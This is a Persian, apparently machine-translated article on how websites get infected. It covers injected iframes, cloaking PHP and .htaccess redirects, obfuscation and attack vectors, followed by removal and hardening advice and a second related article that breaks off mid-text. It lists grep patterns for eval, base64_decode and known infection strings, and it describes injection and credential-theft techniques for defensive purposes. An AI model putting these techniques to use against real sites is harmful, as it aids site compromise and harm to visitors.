صفحه وب مخرب کد مخرب چیست از چه روش هایی برای پیشگیری استفاده کنیم

• کاربران شکایت دارند که وب سایت توسط مرورگر و/یا برنامه ها مسدود شده است
• وب سایت توسط گوگل یا پایگاه داده دیگری از URL های مخرب در لیست سیاه قرار گرفته است
• تغییرات عمده ای در حجم ترافیک و/یا رتبه بندی موتورهای جستجو وجود دارد
• وب سایت به درستی کار نمی کند، خطاها و هشدارها را می دهد
• پس از بازدید از وب سایت، رایانه به طرز عجیبی رفتار می کند.

غالبا کد مخرببرای مدت طولانی مورد توجه قرار نمی گیرد، به خصوص در مورد آلودگی با بدافزار بسیار پیچیده. چنین بدافزاری معمولاً به شدت مبهم است تا هم مدیران وب سایت و هم نرم افزار آنتی ویروس را گیج کند. دائماً نام دامنه‌هایی را که کاربران را به آنها هدایت می‌کند تغییر می‌دهد، بنابراین لیست‌های سیاه را دور می‌زند. اگر هیچ یک از علائم بالا وجود نداشته باشد، این نشانگر خوبی از تمیزی سرور شما است، اگرچه، افسوس، نه 100٪. بنابراین، برای هر گونه فعالیت مشکوک هوشیار باشید.

بارزترین علامت هر گونه آلودگی بدافزار وجود کدهای مخرب/مشکوک در یک یا چند فایل است - بیشتر در قالب HTML، PHP یا JS، و اخیراً ASP/ASPX. یافتن این کد آسان نیست و حداقل به اصول اولیه برنامه نویسی و توسعه وب نیاز دارد. برای اینکه خواننده بهتر بفهمد کد مخرب چگونه به نظر می رسد، چندین نمونه از رایج ترین آلودگی صفحات وب را ارائه می دهیم.

مثال 1: تغییر مسیر ساده

قدیمی ترین و بیشترین روش سادهمورد استفاده مجرمان سایبری، افزودن یک تگ ساده HTML iframe به کد فایل های HTML روی سرور است. آدرس مورد استفاده برای بارگذاری وب سایت مخرب در IFrame به عنوان یک ویژگی SRC مشخص می شود. ویژگی VISIBILITY با مقدار "مخفی"، فریم را برای کاربر بازدید کننده از وب سایت نامرئی می کند.

شکل 1: IFrame مخرب در داخل کد HTML یک وب سایت

یکی دیگر از روش‌های اجرای یک اسکریپت مخرب در مرورگر کاربر، قرار دادن پیوندی به این اسکریپت در یک فایل HTML به عنوان ویژگی src در اسکریپت یا تگ‌های img است:

شکل 2: نمونه هایی از لینک های مخرب

اخیراً موارد بیشتر و بیشتر شده است که کدهای مخرب به صورت پویا توسط اسکریپت های JS یا PHP مخرب تولید و در کدهای HTML جاسازی می شوند. در چنین مواردی، کد فقط در نمای منبع صفحه از مرورگر قابل مشاهده است و نه در فایل های فیزیکی سرور. مجرمان سایبری می توانند شرایطی را که تحت آن کدهای مخرب باید تولید شود را تعریف کنند: برای مثال، تنها زمانی که کاربر از موتورهای جستجوی خاصی به سایتی دسترسی پیدا کرده باشد یا وب سایتی را در یک مرورگر خاص باز کند.

مجرمان سایبری از انواع تکنیک های مبهم سازی کد برای فریب دادن مالک وب سایت و نرم افزار آنتی ویروس استفاده می کنند و کدهای مخرب را دشوار می کنند.

مثال 2: "خطای 404: صفحه یافت نشد"

در این مثال، کد مخرب به قالب پیام تزریق می شود که زمانی که شی مشخص شده در سرور پیدا نشد نمایش داده می شود (خطای معروف 404). علاوه بر این، پیوندی به برخی از عناصر موجود در فایل‌های index.html / index.php تعبیه شده است تا هر بار که کاربر از صفحه وب آلوده بازدید می‌کند بی‌صدا باعث ایجاد این خطا شود. این روش می تواند باعث سردرگمی شود: مسئول وب سایت پیامی دریافت می کند که برخی از راه حل های آنتی ویروس وب سایت را به عنوان آلوده پرچم گذاری کرده است. پس از یک بررسی سطحی، معلوم می شود که کد مخرب در یک شی پیدا شده است که ظاهرا وجود ندارد. این منجر به این وسوسه می‌شود که فرض کنیم (به اشتباه) زنگ خطر اشتباه بوده است.

شکل 3. Trojan.JS.Iframe.zs - اسکریپت مخرب در قالب پیام خطای 404

در این مورد خاص، کد مخرب مبهم بود. پس از رفع ابهام، می‌توانیم ببینیم که هدف اسکریپت تزریق یک تگ IFRAME است که برای هدایت کاربران به یک URL مخرب استفاده می‌شود.

شکل 4. Trojan.JS.Iframe.zs - کد مخرب پس از رفع ابهام

مثال 3: تزریق انتخابی کد مخرب

کدهای مشابه را می توان به صورت پویا (به عنوان مثال بسته به شرایط خاص) به تمام فایل های HTML واقع در سرور با استفاده از یک اسکریپت PHP مخرب که در همان سرور آپلود شده است، تولید و پیوست کرد. اسکریپت نشان داده شده در مثال زیر پارامتر UserAgent (که توسط مرورگر کاربر و همچنین ربات های جستجو ارسال می شود) را بررسی می کند و اگر وب سایت توسط یک ربات خزیده شود یا بازدیدکنندگان سایت از آن استفاده کنند، کد مخرب اضافه نمی کند. مرورگرهای اپرا، یا سافاری. بنابراین، کاربران مرورگرهایی که از سوء استفاده خاصی که برای حمله استفاده می شود مصون هستند، به آن اکسپلویت هدایت نمی شوند. همچنین شایان ذکر است که نظرات موجود در کد عمدا گمراه کننده است و این امر را نشان می دهد اسکریپت داده شدهربطی به آمار ربات دارد.

شکل 5. Trojan.PHP.Iframer.e - کدی که یک اسکریپت PHP را آلوده می کند.

از این روش می‌توان برعکس نیز استفاده کرد: مجرمان سایبری فقط می‌توانند پیوندهایی را که منجر به محتوای غیرقانونی، مشکوک یا مخرب (هرزنامه، نرم‌افزارهای جاسوسی، نرم‌افزار، منابع فیشینگ) می‌شوند تزریق کنند، تنها در صورتی که یک وب‌سایت توسط یک ربات جستجو بازدید شده باشد. هدف از چنین حمله ای به اصطلاح بهینه سازی کلاه سیاه است - مکانیزمی برای بالا بردن موقعیت یک منبع مجرم سایبری در نتایج جستجو. این نوع بدافزار معمولاً در پورتال‌های وب محبوب و دارای امتیاز بالا هدف قرار می‌گیرد و تشخیص آن بسیار دشوار است زیرا کد مخرب هرگز به کاربر عادی نشان داده نمی‌شود. در نتیجه، وب سایت های مخرب رتبه های بالایی در موتورهای جستجو کسب می کنند و در خطوط بالای نتایج جستجو ظاهر می شوند.

مثال 4: مبهم سازی هوشمندانه

آلوده کردن اسکریپت های PHP می تواند اشکال دیگری نیز داشته باشد. در زیر دو نمونه از چند ماه پیش کشف شده است.

شکل 6. Trojan-Downloader.PHP.KScript.a - آلوده کردن اسکریپت PHP

شکل 12. Trojan-Downloader.JS.Twetti.t - کد مخرب وارد شده به فایل های JS

در نهایت، یک مورد شناخته شده از آلودگی انبوه بدافزار با استفاده از نام های دامنه تصادفی وجود دارد. اگر به این بدافزار آلوده شده اید، ممکن است کد زیر را در وب سایت خود بیابید:

شکل 13. نسخه مبهم کد که به یک دامنه تولید شده به طور تصادفی هدایت می شود

مثال 6: "gootkit" و مبهم کردن کل فایل

شناسایی کدهای مخرب مبهم در بین بقیه کدهای پاک آسان است، به همین دلیل است که مجرمان سایبری اخیراً به این فکر افتاده اند که محتویات کل فایل را مبهم کنند، بنابراین هم کد تزریق شده و هم کد قانونی را غیرقابل خواندن می کند. جدا کردن کد قانونی از کد مخرب غیرممکن است و فایل تنها پس از رمزگشایی قابل درمان است.

برنج. 14. فایل توسط بدافزار gootkit مبهم شده است

خلاص شدن از شر اولین سطح مبهم آسان است، فقط باید تابع ()eval را به alert() - یا print() در مورد کنسول - تغییر دهید و آن را برای اجرا اجرا کنید. سطح دوم تا حدودی پیچیده تر است: در این مورد، نام دامنه به عنوان یک کلید برای رمزگذاری کد استفاده می شود.

برنج. 15: "gootkit" - دومین سطح مبهم

پس از رمزگشایی، می توانید کد مخرب را به دنبال محتوای اصلی فایل مشاهده کنید:

برنج. 16: "gootkit" - کد deobfuscated

گاهی اوقات معلوم می شود که قسمت مخرب نسخه دوم است بد افزار، که در مثال قبلی مورد بحث قرار گرفت و برای ایجاد یک نام دامنه شبه تصادفی برای تغییر مسیرها استفاده می شود.

مثال 7: htaccess

به جای آلوده کردن اسکریپت ها و کدهای HTML، مجرمان سایبری می توانند از قابلیت های فایل های خاصی مانند htaccess. استفاده کنند. در چنین فایل‌هایی، مدیر می‌تواند حقوق دسترسی به پوشه‌های خاصی را روی سرور تعریف کند، و همچنین در شرایط خاص، کاربران را به آدرس‌های اینترنتی دیگر هدایت کند (به عنوان مثال، اگر کاربر از مرورگر دسترسی داشته باشد. دستگاه موبایل، به نسخه موبایل وب سایت هدایت می شود). حدس زدن اینکه مجرمان سایبری چگونه از این قابلیت استفاده می کنند دشوار نیست...

برنج. 17: malicious.htaccess

در مثال بالا، همه کاربرانی که در این وب سایت قرار می گیرند و پیوند را در اکثر موتورهای جستجوی اصلی دنبال می کنند (پارامتر HTTP_REFERER) به یک URL مخرب هدایت می شوند. علاوه بر این، این فایل .htaccess تعداد نسبتاً زیادی از مرورگرها و ربات‌هایی را تعریف می‌کند که تغییر مسیر برای آنها انجام نمی‌شود (پارامتر HTTP_USER_AGENT). همچنین اگر صفحه وب از حافظه پنهان خوانده شود (مرجع == حافظه پنهان) یا از همان رایانه بارگذاری مجدد شود (پارامتر کوکی) تغییر مسیر نیز رخ نمی دهد.

چنین بدافزاری همچنین امکان آلودگی‌های انتخابی بیشتری را فراهم می‌کند - برای مثال، آدرس‌های IP خاص را می‌توان حذف کرد، و هنگام مرور وب‌سایت‌ها از محدوده مشخصی از آدرس‌های IP - به عنوان مثال، آنهایی که متعلق به یک شرکت هستند. امنیت اطلاعات- هیچ خروجی از نتایج مخرب وجود ندارد.

ناقلان حمله و فناوری های عفونت

صرف نظر از فناوری مورد استفاده، مجرمان سایبری باید راهی برای ارائه آن بیابند فایل های مخرببه سرور یا تغییراتی در فایل هایی که از قبل در سرور وجود دارند. ابتدایی ترین روش برای دسترسی به سرور، شکستن پسورد دسترسی است. برای انجام این کار، مجرمان سایبری می توانند از حمله به اصطلاح brute-force یا نسخه محدود آن - حمله brute-force (حمله دیکشنری) استفاده کنند. این تاکتیک معمولاً به زمان و منابع زیادی نیاز دارد، بنابراین به ندرت از آن استفاده می شود عفونت های توده ایوب سایت ها سناریوهای محبوب تر شامل سوء استفاده از آسیب پذیری ها و بدافزارها برای سرقت رمزهای عبور است.

بهره برداری از آسیب پذیری ها در سیستم مدیریت محتوا / سیستم تجارت الکترونیک

اکثر پلتفرم های مدرن مدیریت محتوای وب (مانند سیستم مدیریت محتوا (CMS)، تجارت الکترونیک، کنترل پنل ها و غیره) ناقص هستند و دارای آسیب پذیری هایی هستند که به دیگران اجازه می دهد فایل ها را بدون احراز هویت در سرور آپلود کنند. و اگرچه توسعه دهندگان دائماً به دنبال چنین آسیب پذیری هایی هستند، انتشار وصله ها زمان زیادی می برد. علاوه بر این، بسیاری از کاربران همچنان از نسخه های قدیمی برنامه ها با تعداد زیادی خطا استفاده می کنند. بیشتر اوقات، آسیب پذیری ها در محبوب ترین پلتفرم ها مانند وردپرس، جوملا و osCommerce یافت می شوند.

یک نمونه شناخته شده از چنین آسیب پذیری TimThumb است که به طور گسترده توسط مجرمان سایبری در سناریوهای مختلف درایو با بوت مورد سوء استفاده قرار گرفته است. TimThumb یک ماژول PHP برای تغییر اندازه تصاویر و ایجاد تصاویر کوچک گرافیکی است که در اکثر قالب های CMS منبع باز گنجانده شده است. این آسیب‌پذیری اجازه می‌دهد تا فایل‌هایی که روی یک ماشین راه دور قرار دارند، روی سرور، در فهرست حافظه پنهان نوشته شوند. مثال دیگر آسیب‌پذیری تزریق SQL در Plesk Panel (نسخه 10 و بالاتر) است که در فوریه 2012 کشف شد، که اجازه خواندن پایگاه‌های داده و سرقت رمزهای عبور را می‌دهد که - تا همین اواخر - به صراحت ذخیره می‌شدند. اعتبارنامه های به دست آمده از این طریق احتمالاً در اپیدمی گسترده وب اخیر http://www.securelist.com/en/blog/208193624/Who_is_attacking_me استفاده شده است. https://www.securelist.com/ru/blog/208193713/RunForestRun_gootkit_i_generirovanie_sluchaynykh_domennykh_imen.

استفاده از نرم افزارهای جاسوسی برای سرقت اعتبار سرور FTP

در رایج ترین عفونت های وب (مانند Gumblar و Pegel) روش دیگری موفقیت آمیز بوده است. در مرحله اول، مجرمان سایبری بدافزاری را توزیع می کنند که به طور خاص برای یافتن و سرقت نام های کاربری و رمز عبور حساب های FTP با بررسی تنظیمات کلاینت های FTP یا اسکن ترافیک شبکه طراحی شده است. پس از اینکه بدافزار این اطلاعات را در رایانه مدیر سایت آلوده پیدا کرد، برنامه با سرور FTP ارتباط برقرار می کند و اسکریپت های مخرب را دانلود می کند یا نسخه های آلوده آنها را به جای فایل های اصلی می نویسد. ناگفته نماند که تا زمانی که رایانه صاحب حساب آلوده باشد، فایل های ذخیره شده در سرور حتی پس از تغییر داده های ثبت نام و بازیابی تمام محتوا از یک نسخه پشتیبان تمیز، بارها و بارها آلوده می شوند.

اهداف مجرمان سایبری

هدف از آلوده کردن وب سایت ها چیست؟

• هدایت کاربران به سوء استفاده برای نصب بی صدا بدافزار بر روی رایانه هایشان.
• هدایت کاربران به هرزنامه، فیشینگ و سایر محتوای مخرب، غیرقانونی یا ناخواسته؛
• رهگیری / سرقت بازدیدهای سایت / پرس و جوهای جستجو.
• تبلیغ وب سایت های مخرب/غیرقانونی و وب سایت های حاوی هرزنامه (بهینه سازی کلاه سیاه).
• استفاده از منابع سرور برای فعالیت غیرقانونی

در واقع، این چیز جدیدی نیست: زمانی که مجرمان سایبری وب سایت ها را آلوده می کنند، تمایل به کسب سود غیرمستقیم آنها را هدایت می کند.

روش های حذف کدهای مخرب

اگر سایت شما مورد حمله هکرها قرار گرفت چه باید کرد؟

ابتدا، اگر علائمی را تجربه می کنید که نشان دهنده عفونت احتمالی است، باید بلافاصله وب سایت را تا رفع مشکل غیرفعال کنید. این در واقع بسیار مهم است، زیرا هر لحظه تأخیر به نفع مجرمان سایبری است و به آنها اجازه می دهد حتی رایانه های بیشتری را آلوده کرده و عفونت را در سراسر جهان پخش کنند. شما باید گزارش‌های سرور را برای فعالیت مشکوک بررسی کنید، مانند درخواست‌های عجیب از آدرس‌های IP واقع در کشورهایی که برای بازدیدکنندگان سایت معمولی نیستند و غیره. - این می تواند برای شناسایی فایل های آلوده و تعیین دقیق نحوه دسترسی مجرمان سایبری به سرور مفید باشد.

اما چگونه با کدهای مخرب برخورد کنیم؟

نسخه پشتیبان

سریع ترین و مطمئن ترین راه برای بازگردانی کل محتوای یک سرور با یک نسخه پشتیبان تمیز است. برای انجام موثر این کار، همچنین لازم است نرم افزارهای در حال اجرا بر روی سرور (سیستم های مدیریت محتوا / CMF، سیستم های تجارت الکترونیک و غیره) را مجدداً نصب کنید. البته این امر مستلزم استفاده از آخرین نسخه های کاملاً به روز شده است. پس از این اقدامات، هیچ فایل آلوده ای نباید روی سرور باقی بماند - به شرطی که قبل از بازیابی همه محتویات را پاک کرده باشید و نسخه پشتیبان قبل از شروع حمله ایجاد شده باشد.

بررسی خودکار

اگر پشتیبان تمیز وجود نداشته باشد، چاره ای جز شروع مبارزه با بدافزارها ندارید. خوشبختانه، تعدادی راه حل خودکار وجود دارد که می تواند به شما در یافتن کدهای مخرب کمک کند، از جمله محصولات آنتی ویروس و خزنده های وب سایت آنلاین مانند http://sucuri.net/. هیچ یک از اینها کامل نیستند، اما در مورد بدافزارهای معروف/متداول، همه آنها می توانند بسیار مفید باشند. برای شروع، می توانید یک وب سایت را با چندین خزنده آنلاین بررسی کنید. برخی از آنها نه تنها تعیین می کنند که آیا سایت شما واقعاً آلوده شده است، بلکه کدهای مخرب را در فایل های شما نیز نشان می دهد. سپس می توانید یک اسکن کامل آنتی ویروس تمام فایل های روی سرور را انجام دهید.

اگر شما مالک سرور هستید، یا اگر سرور راه حل امنیتی را اجرا می کند که حق استفاده از آن را دارید، می توانید اعتبارسنجی سمت سرور را انجام دهید. مطمئن شوید که از فایل های خود نسخه پشتیبان تهیه می کنید، زیرا برخی از اسکنرهای ویروس، فایل های آلوده را پاک نمی کنند، بلکه آنها را حذف می کنند! همچنین می توانید محتوای سرور خود را در آن آپلود کنید کامپیوتر محلیو آن را با یک راه حل آنتی ویروس برای رایانه رومیزی بررسی کنید. گزینه دوم ترجیح داده می شود، زیرا مدرن ترین است برنامه های آنتی ویروسبرای کامپیوترهای رومیزی یک ماژول اکتشافی به خوبی توسعه یافته وجود دارد. بدافزاری که وب‌سایت‌ها را آلوده می‌کند بسیار چندشکلی است: و در حالی که تجزیه و تحلیل امضا در مبارزه با آن تقریباً بی‌فایده است، اکتشافات تشخیص آنها را آسان می‌کند.

حذف دستی

اگر اسکن خودکار ناموفق باشد و سایت شما همچنان آلوده گزارش شود، تنها راه خلاص شدن از شر بدافزار یافتن دستی آن و حذف تمام کدهای مخرب است. این کار دلهره آور می تواند زمان قابل توجهی را به خود اختصاص دهد زیرا هر فایل - خواه HTML، JS، PHP یا فایل پیکربندی - باید برای اسکریپت های مخرب بررسی شود. مثال‌های بالا تنها بخش کوچکی از انواع بدافزارهای وب‌سایت هستند، بنابراین احتمال زیادی وجود دارد که کد مخرب سایت شما تا حدی یا به طور کامل با این نمونه‌ها متفاوت باشد. با این حال، بیشتر بدافزارهای وب سایت امروزی دارای برخی ویژگی های مشترک هستند و این ویژگی ها به شناسایی مشکل کمک می کند.

بیشتر از همه، باید به قسمت هایی از کد که مبهم یا ناخوانا به نظر می رسند توجه کنید. مبهم سازی کد، تکنیکی که اغلب توسط . استفاده می شود، در سایر نرم افزارهای مرتبط با وب سایت غیرمعمول است. اگر خودتان کد را مبهم نکرده اید، دلایل زیادی دارید که به آن مشکوک باشید. اما مراقب باشید - همه کدهای مبهم مخرب ظاهر نمی شوند!

به همین ترتیب، هر اسکریپت مخربی مبهم نیست، بنابراین منطقی است که به دنبال تگ های صریح IFRAME و دیگر منابع خارجی در همه فایل های خود باشید. برخی از آنها ممکن است مربوط به آگهی هاو آمار، اما فریب URL های ساخته شده خاص را نخورید که می توانند به عنوان پورتال های شناخته شده و قابل اعتماد گیج کننده باشند. فراموش نکنید که کد پیام های خطای الگو و همچنین فایل های htaccess را بررسی کنید.

ابزارهای مفید برای یافتن کدهای مخرب در سرور بدون شک grep and find هستند، ابزارهایی که در خط فرمان، به طور پیش فرض در تقریباً همه سیستم های مبتنی بر یونیکس گنجانده شده است. در زیر نمونه هایی از کاربرد آنها در تشخیص شایع ترین عفونت ها آورده شده است:

grep -iRs "iframe" *
grep -iRs "eval" *
grep -iRs "unescape" *
grep -iRs "base64_decode" *
grep -iRs "var div_colors" *
grep -iRs "var_0x" *
grep -iRs "CoreLibrariesHandler" *
grep -iRs "pingnow" *
grep -iRs "searchbot" *
grep -iRs "km0ae9gr6m" *
grep -iRs “c3284d” *
پیدا کردن. -iname "upd.php"
پیدا کردن. -inname "*timthumb*"

شرح grep (از کتابچه راهنمای لینوکس): خطوطی را چاپ کنید که با یک الگو مطابقت دارند. گزینه -i به معنای نادیده گرفتن حروف است. -R به معنای جستجوی بازگشتی است و -s از نمایش پیام های خطا جلوگیری می کند. اولین مورد از این دستورات به دنبال تگ های IFRAME در فایل ها می گردد. سه نفر دیگر به دنبال آشکارترین نشانه های مبهم هستند. بقیه به دنبال رشته های خاص مرتبط با بزرگترین عفونت های شناخته شده وب سایت هستند.

تا جایی که به یافتن مربوط می شود، راهنمای لینوکسمشخص شده: جستجو برای فایل ها در ساختار سلسله مراتبیپوشه ها؛ "." (نقطه) به دایرکتوری فعلی اشاره می کند (بنابراین شما باید این دستورات را از دایرکتوری ریشه یا دایرکتوری خانگی روی سرور اجرا کنید)، گزینه -iname فایل مورد نظر را مشخص می کند. می توانید از عبارات منظم برای جستجوی همه فایل هایی که با معیارهای خاصی مطابقت دارند استفاده کنید.

البته، همیشه باید بدانید که به دنبال چه چیزی باشید - همه نتایج نشان دهنده عفونت نیستند. بهتر است قسمت های مشکوک کد را با اسکنر ویروس بررسی کنید یا سعی کنید آنها را در گوگل جستجو کنید. بسیار محتمل است که پاسخ هایی پیدا کنید - هم برای کدهای مخرب و هم برای کدهای پاک. اگر هنوز مطمئن نیستید که فایل آلوده است، بهتر است وب سایت را غیرفعال کنید (در صورت امکان) و قبل از هر اقدامی از متخصصان مشاوره بگیرید.

خیلی مهم!

علاوه بر تمیز کردن فایل‌ها روی سرور، انجام اسکن کامل آنتی‌ویروس از تمام رایانه‌هایی که برای دانلود و مدیریت محتوای روی سرور استفاده می‌شوند و تغییر همه داده‌ها برای دسترسی به همه حساب‌های روی سرور (FTP، SSH، کنترل، ضروری است. پانل ها و غیره) که شما پشتیبانی می کنید.

اصول امنیت وب سایت

متأسفانه، در بیشتر موارد، حذف کد مخرب برای خلاص شدن از شر عفونت یک بار برای همیشه کافی نیست. اگر وب سایت شما آلوده شده باشد، این ممکن است نشان دهنده وجود آسیب پذیری هایی باشد که به مجرمان سایبری اجازه می دهد اسکریپت های مخرب را به سرور تزریق کنند. و اگر این مشکل را بدون توجه رها کنید، عفونت های جدیدی در آینده نزدیک در انتظار شما هستند. برای جلوگیری از این امر، باید اقدامات مناسب برای محافظت از سرور و رایانه(های) مورد استفاده برای مدیریت سرور انجام شود.

• استفاده از رمزهای عبور قوی با وجود بی اهمیت بودن این توصیه، این واقعاً اساس امنیت سرور است. رمزهای عبور نه تنها پس از هر حادثه و/یا حمله به سرور نیاز به تغییر دارند، بلکه باید به طور منظم، مانند ماهانه، تغییر کنند. رمز عبور خوبباید معیارهای خاصی را داشته باشد که در www.kaspersky.com/passwords یافت می شود.
• به روز رسانی منظم. همچنین لازم است به روز رسانی های منظم را فراموش نکنید. مجرمان سایبری اغلب از آسیب پذیری های نرم افزاری بدون در نظر گرفتن اینکه آیا بدافزار کاربران رایانه شخصی یا وب سایت ها را هدف قرار می دهد، سوء استفاده می کنند. همه برنامه هایی که با آنها محتوای سرور / سایت خود را مدیریت می کنید باید بیشترین میزان را داشته باشند آخرین نسخه ها، و هر به روز رسانی امنیتی باید به محض انتشار نصب شود. استفاده نسخه های فعلینرم افزار و نصب به موقع تمام وصله های لازم به کاهش خطر حمله با استفاده از اکسپلویت ها کمک می کند. فهرستی از آسیب‌پذیری‌های شناخته‌شده به‌روزرسانی شده را می‌توانید در http://cve.mitre.org/ پیدا کنید.
• ایجاد منظم پشتیبان گیری. نگه داشتن یک کپی تمیز از محتوای سرور در انبار باعث صرفه جویی در زمان و تلاش شما می شود، ناگفته نماند این واقعیت که نسخه پشتیبان تازه می تواند علاوه بر درمان عفونت ها در حل مشکلات دیگر نیز مفید باشد.
• بررسی منظم فایل ها حتی در صورت عدم وجود علائم واضح عفونت، توصیه می شود به طور دوره ای تمام فایل های روی سرور را اسکن کنید تا کدهای مخرب را شناسایی کنید.
• امنیت رایانه شخصی از آنجایی که مقدار قابل توجهی بدافزار وب سایت از طریق رایانه های شخصی آلوده توزیع می شود، امنیت رایانه رومیزی که برای مدیریت وب سایت شما استفاده می شود یکی از اولویت های اصلی برای امنیت وب سایت است. تمیز و ایمن نگه داشتن رایانه شما در هر زمان، احتمال اینکه وب سایت شما نیز ایمن و عاری از ویروس باشد را به شدت افزایش می دهد.
• اجباری (اما کافی نیست) باید اقدامات زیر باشد:
  • حذف برنامه های استفاده نشده؛
  • غیرفعال کردن خدمات و ماژول های غیر ضروری؛
  • تنظیم سیاست های مناسب برای تک تک کاربران و گروه های کاربری؛
  • تنظیم حقوق دسترسی کافی به فایل ها و دایرکتوری های خاص؛
  • غیرفعال کردن نمایش فایل ها و دایرکتوری های وب سرور؛
  • بررسی منظم گزارش رویدادها برای فعالیت مشکوک؛
  • استفاده از رمزگذاری و پروتکل های امن

بدافزار طراحی شده برای آلوده کردن وب سایت ها می تواند یک کابوس برای مدیران وب و کاربران اینترنت باشد. مجرمان سایبری به طور مداوم در حال توسعه فناوری های خود هستند و سوء استفاده های جدیدی را کشف می کنند. بدافزارها به سرعت از طریق اینترنت در حال گسترش هستند و سرورها و ایستگاه های کاری را آلوده می کنند. منصفانه است که بگوییم هیچ راه مطمئنی برای از بین بردن کامل این تهدید وجود ندارد. با این حال، هر صاحب وب‌سایت و هر کاربر اینترنتی می‌تواند با رعایت قوانین امنیتی اولیه و حفظ امنیت وب‌سایت‌ها و رایانه‌های خود همیشه اینترنت را ایمن‌تر کند.

نظر خود را بگذارید

توزیع بدافزار از طریق وب سایت ها

کاستین رایو، آزمایشگاه کسپرسکی

معرفی. جرایم سایبری: روندها و توسعه

در چند سال گذشته، اینترنت به مکانی خطرناک تبدیل شده است. در ابتدا برای تعداد نسبتاً کمی از کاربران ایجاد شد، اما بسیار فراتر از انتظارات سازندگانش بود. امروزه بیش از 1.5 میلیارد کاربر اینترنت در جهان وجود دارد و تعداد آنها به طور مداوم در حال افزایش است زیرا این فناوری در دسترس تر می شود.

مجرمان نیز متوجه این روند شدند و خیلی سریع متوجه شدند که ارتکاب جرایم با استفاده از اینترنت (که اکنون جرایم سایبری نامیده می شود) مزایای قابل توجهی دارد.

اولاً، جرایم سایبری چندان پرخطر نیست: چون هیچ مانع ژئوپلیتیکی ندارد، دستگیری مجرمان برای سازمان های مجری قانون دشوار است. علاوه بر این، انجام تحقیقات و دعاوی بین المللی هزینه زیادی دارد، بنابراین چنین اقداماتی معمولاً فقط در موارد خاص انجام می شود. ثانیا، جرایم سایبری ساده است: تعداد زیادی "دستورالعمل" در اینترنت برای هک کردن رایانه ها و نوشتن ویروس ها وجود دارد و نیازی به دانش یا تجربه خاصی نیست. این دو عامل اصلی هستند که جرایم سایبری را به یک صنعت چند میلیارد دلاری تبدیل کرده اند که واقعاً یک اکوسیستم بسته است.

هم شرکت های امنیت اطلاعات و هم تولیدکنندگان نرم افزاربه طور مداوم با جرایم سایبری مبارزه می کنند. هدف آنها ارائه حفاظت قوی به کاربران اینترنت و ایجاد نرم افزار امن است. مهاجمان نیز به نوبه خود، به طور مداوم تاکتیک ها را تغییر می دهند تا با اقدامات متقابل اتخاذ شده مقابله کنند، که منجر به دو روند متمایز شد.

ابتدا، بدافزار با استفاده از آسیب‌پذیری‌های روز صفر مستقر می‌شود. آسیب پذیری هایی که هنوز وصله هایی برای آنها ایجاد نشده است. با کمک چنین آسیب پذیری هایی، حتی چنین سیستم های کامپیوتریکه در آن همه آخرین به روزرسانی ها، اما چیز خاصی وجود ندارد راه حل های حفاظتی. آسیب پذیری های روز صفر یک کالای با ارزش هستند (استفاده از آنها به طور بالقوه می تواند منجر به عواقب جدی شود)، آنها در بازار سیاه به قیمت ده ها هزار دلار فروخته می شوند.

ثانیاً، ما شاهد افزایش شدید تعداد برنامه های مخربی هستیم که به طور خاص برای سرقت اطلاعات حساس به منظور فروش آنها در بازار سیاه طراحی شده اند: شماره کارت اعتباری، جزئیات بانکی، رمز عبور برای دسترسی به سایت هایی مانند eBay یا PayPal و حتی آنلاین. به عنوان مثال، بازی های World of Warcraft.

یکی از دلایل آشکار افزایش جرایم سایبری سودآوری آن است که همیشه نیروی محرکه ایجاد فناوری های جدید جرایم سایبری خواهد بود.

علاوه بر پیشرفت هایی که برای نیازهای مجرمان سایبری انجام می شود، ما به روند دیگری اشاره می کنیم - گسترش برنامه های مخرب از طریق شبکه جهانی وب. پس از اپیدمی‌هایی که در اوایل این دهه توسط کرم‌های پستی مانند ملیسا ایجاد شد، بسیاری از تولیدکنندگان سیستم حفاظت از اطلاعاتتلاش های خود را بر روی توسعه راه حل هایی متمرکز کردند که می تواند پیوست های مخرب را خنثی کند. این گاهی اوقات منجر به حذف تمام پیوست های اجرایی از پیام ها می شد.

اما اخیراً وب به منبع اصلی توزیع بدافزار تبدیل شده است. نرم‌افزارهای مخرب در وب‌سایت‌ها قرار می‌گیرند و سپس کاربران را فریب می‌دهند تا به صورت دستی آن را اجرا کنند، یا به‌طور خودکار توسط سوء استفاده‌ها در رایانه‌های آلوده اجرا می‌شوند.

ما در آزمایشگاه کسپرسکی با نگرانی فزاینده ای این موضوع را تماشا می کنیم.

آمار

در سه سال گذشته، ما وب‌سایت‌های به اصطلاح پاک (بین 100000 تا 300000) را زیر نظر گرفته‌ایم تا مشخص کنیم در چه نقطه‌ای به نقاط توزیع بدافزار تبدیل شده‌اند. با ثبت دامنه های جدید، تعداد سایت های نظارت شده به طور پیوسته افزایش یافته است.

جدول حداکثر میزان آلودگی ثبت شده در صفحات وب نظارت شده در طول سال را نشان می دهد. افزایش شدید سهم سایت های آلوده واضح است: اگر در سال 2006 تقریباً هر سایت از بیست هزار سایت آلوده شده بود ، در سال 2009 هر سایت از صد و پنجاه سایت قبلاً آلوده شده بود. درصد سایت‌هایی که آلوده می‌شوند در حدود همین رقم آخر نوسان دارد، که ممکن است نشان‌دهنده رسیدن به نقطه اشباع باشد: همه وب‌سایت‌هایی که ممکن است آلوده شوند آلوده شده‌اند. با این حال، با کشف آسیب‌پذیری‌های جدید یا ظهور ابزارهای جدیدی که به مهاجمان اجازه می‌دهد وب‌سایت‌های جدید را آلوده کنند، تعداد آنها افزایش یا کاهش می‌یابد.

دو جدول زیر داده‌های مربوط به بدافزارهایی که اغلب در وب‌سایت‌ها در سال‌های 2008 و 2009 با آن مواجه شده‌اند را نشان می‌دهد.

10 بدافزار برتر - 2008

10 بدافزار برتر - 2009

در سال 2008، تروجان Trojan-Clicker.JS.Agent.h در تعداد زیادی از موارد پیدا شد. پس از آن Trojan-Downloader.JS.Iframe.oj با حاشیه کمتر از 1% قرار دارد.

صفحه آلوده به Trojan-Clicker.JS.Agent.h

رمزگشایی Trojan-Clicker.JS.Agent.h

